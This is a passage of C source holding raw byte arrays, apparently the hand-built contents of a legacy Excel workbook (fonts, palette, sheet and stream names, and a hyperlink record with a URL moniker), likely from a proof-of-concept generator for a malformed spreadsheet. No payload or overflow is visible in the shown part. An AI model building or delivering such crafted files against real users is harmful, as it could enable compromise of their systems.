/&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0x09, 0x08, 0x10, 0x00, 0x00, 0x06, 0x05, 0x00, 0xBB, 0x0D, 0xCC,&lt;br /&gt;0x07, 0x41, 0x00, 0x00, 0x00,&lt;br /&gt;       0x06, 0x00, 0x00, 0x00, 0x42, 0x00, 0x02, 0x00, 0xE4, 0x04, 0x8D,&lt;br /&gt;0x00, 0x02, 0x00, 0x00, 0x00,&lt;br /&gt;       0x3D, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x35, 0xED,&lt;br /&gt;0x30, 0x38, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x01, 0x00, 0x58, 0x02, 0x22, 0x00, 0x02, 0x00, 0x00,&lt;br /&gt;0x00, 0x31, 0x00, 0x15, 0x00,&lt;br /&gt;       0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x05, 0x00,&lt;br /&gt;       0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00, 0xC8, 0x00,&lt;br /&gt;0x00, 0x00, 0xFF, 0x7F, 0x90,&lt;br /&gt;       0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41, 0x72,&lt;br /&gt;0x69, 0x61, 0x6C, 0x31, 0x00,&lt;br /&gt;       0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00,&lt;br /&gt;0xC8, 0x00, 0x00, 0x00, 0xFF,&lt;br /&gt;       0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,&lt;br /&gt;0x41, 0x72, 0x69, 0x61, 0x6C,&lt;br /&gt;       0x31, 0x00, 0x16, 0x00, 0xA0, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90,&lt;br /&gt;0x01, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x06, 0x00, 0x54, 0x61, 0x68, 0x6F, 0x6D, 0x61, 0x31,&lt;br /&gt;0x00, 0x15, 0x00, 0xC8, 0x00,&lt;br /&gt;       0x00, 0x00, 0x0C, 0x00, 0x90, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00,&lt;br /&gt;0x00, 0x05, 0x00, 0x41, 0x72,&lt;br /&gt;       0x69, 0x61, 0x6C, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2B, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x29, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF8, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2C, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x00,&lt;br /&gt;       0x00, 0x2A, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF8, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x09, 0x00,&lt;br /&gt;0xF5, 0xFF, 0x20, 0x00, 0x00,&lt;br /&gt;       0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,&lt;br /&gt;0xE0, 0x00, 0x14, 0x00, 0x06,&lt;br /&gt;       0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x08, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0xC0, 0x20, 0x93, 0x02, 0x04, 0x00, 0x10, 0x80, 0x03, 0xFF,&lt;br /&gt;0x93, 0x02, 0x04, 0x00, 0x11,&lt;br /&gt;       0x80, 0x06, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x12, 0x80, 0x04, 0xFF,&lt;br /&gt;0x93, 0x02, 0x04, 0x00, 0x13,&lt;br /&gt;       0x80, 0x07, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x00, 0x80, 0x00, 0xFF,&lt;br /&gt;0x93, 0x02, 0x04, 0x00, 0x14,&lt;br /&gt;       0x80, 0x05, 0xFF, 0x92, 0x00, 0xE2, 0x00, 0x38, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0xFF, 0x00, 0xFF, 0xFF, 0x00,&lt;br /&gt;       0x00, 0xFF, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x80, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x80, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x80, 0x00,&lt;br /&gt;0x80, 0x00, 0x00, 0x80, 0x80,&lt;br /&gt;       0x00, 0xC0, 0xC0, 0xC0, 0x00, 0x80, 0x80, 0x80, 0x00, 0x99, 0x99,&lt;br /&gt;0xFF, 0x00, 0x99, 0x33, 0x66,&lt;br /&gt;       0x00, 0xFF, 0xFF, 0xCC, 0x00, 0xCC, 0xFF, 0xFF, 0x00, 0x66, 0x00,&lt;br /&gt;0x66, 0x00, 0xFF, 0x80, 0x80,&lt;br /&gt;       0x00, 0x00, 0x66, 0xCC, 0x00, 0xCC, 0xCC, 0xFF, 0x00, 0x00, 0x00,&lt;br /&gt;0x80, 0x00, 0xFF, 0x00, 0xFF,&lt;br /&gt;       0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x80, 0x00,&lt;br /&gt;0x80, 0x00, 0x80, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xCC,&lt;br /&gt;0xFF, 0x00, 0xCC, 0xFF, 0xFF,&lt;br /&gt;       0x00, 0xCC, 0xFF, 0xCC, 0x00, 0xFF, 0xFF, 0x99, 0x00, 0x99, 0xCC,&lt;br /&gt;0xFF, 0x00, 0xFF, 0x99, 0xCC,&lt;br /&gt;       0x00, 0xCC, 0x99, 0xFF, 0x00, 0xFF, 0xCC, 0x99, 0x00, 0x33, 0x66,&lt;br /&gt;0xFF, 0x00, 0x33, 0xCC, 0xCC,&lt;br /&gt;       0x00, 0x99, 0xCC, 0x00, 0x00, 0xFF, 0xCC, 0x00, 0x00, 0xFF, 0x99,&lt;br /&gt;0x00, 0x00, 0xFF, 0x66, 0x00,&lt;br /&gt;       0x00, 0x66, 0x66, 0x99, 0x00, 0x96, 0x96, 0x96, 0x00, 0x00, 0x33,&lt;br /&gt;0x66, 0x00, 0x33, 0x99, 0x66,&lt;br /&gt;       0x00, 0x00, 0x33, 0x00, 0x00, 0x33, 0x33, 0x00, 0x00, 0x99, 0x33,&lt;br /&gt;0x00, 0x00, 0x99, 0x33, 0x66,&lt;br /&gt;       0x00, 0x33, 0x33, 0x99, 0x00, 0x33, 0x33, 0x33, 0x00, 0x85, 0x00,&lt;br /&gt;0x0E, 0x00, 0x22, 0x04, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x06, 0x00, 0x53, 0x68, 0x65, 0x65, 0x74, 0x31,&lt;br /&gt;0xFC, 0x00, 0x0F, 0x00, 0x01,&lt;br /&gt;       0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x4C,&lt;br /&gt;0x49, 0x4E, 0x4B, 0x0A, 0x00,&lt;br /&gt;       0x00, 0x00, 0x09, 0x08, 0x10, 0x00, 0x00, 0x06, 0x10, 0x00, 0xBB,&lt;br /&gt;0x0D, 0xCC, 0x07, 0x41, 0x00,&lt;br /&gt;       0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x02, 0x00, 0x00,&lt;br /&gt;0x00, 0x2B, 0x00, 0x02, 0x00,&lt;br /&gt;       0x01, 0x00, 0x82, 0x00, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x08,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x25, 0x02, 0x04, 0x00, 0x00, 0x00, 0xFF,&lt;br /&gt;0x00, 0x81, 0x00, 0x02, 0x00,&lt;br /&gt;       0xC1, 0x04, 0x14, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00,&lt;br /&gt;0x03, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x83, 0x00, 0x02, 0x00, 0x00, 0x00, 0x84, 0x00, 0x02, 0x00, 0x00,&lt;br /&gt;0x00, 0x26, 0x00, 0x08, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x3F, 0x27, 0x00, 0x08,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0xE8, 0x3F, 0x28, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0xF0, 0x3F,&lt;br /&gt;       0x29, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0,&lt;br /&gt;0x3F, 0xA1, 0x00, 0x22, 0x00,&lt;br /&gt;       0x00, 0x00, 0x64, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,&lt;br /&gt;0x00, 0x58, 0x02, 0x58, 0x02,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x3F, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0xE0, 0x3F,&lt;br /&gt;       0x01, 0x00, 0x55, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x02, 0x0E,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFD,&lt;br /&gt;0x00, 0x0A, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x62,&lt;br /&gt;0x15, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0xD0, 0xC9, 0xEA, 0x79, 0xF9, 0xBA, 0xCE,&lt;br /&gt;0x11, 0x8C, 0x82, 0x00, 0xAA,&lt;br /&gt;       0x00, 0x4B, 0xA9, 0x0B, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,&lt;br /&gt;0x00, 0xE0, 0xC9, 0xEA, 0x79,&lt;br /&gt;       0xF9, 0xBA, 0xCE, 0x11, 0x8C, 0x82, 0x00, 0xAA, 0x00, 0x4B, 0xA9, 0x0B&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;unsigned char stream2[] = {&lt;br /&gt;       0x00, 0x00, 0x00, 0x3E, 0x02, 0x12, 0x00, 0xB6, 0x06, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x40, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x00,&lt;br /&gt;0x0F, 0x00, 0x03, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x0A, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00, 0x6F, 0x00, 0x6F, 0x00,&lt;br /&gt;0x74, 0x00, 0x20, 0x00, 0x45,&lt;br /&gt;       0x00, 0x6E, 0x00, 0x74, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x05, 0x00, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x6F, 0x00, 0x72, 0x00,&lt;br /&gt;0x6B, 0x00, 0x62, 0x00, 0x6F,&lt;br /&gt;       0x00, 0x6F, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       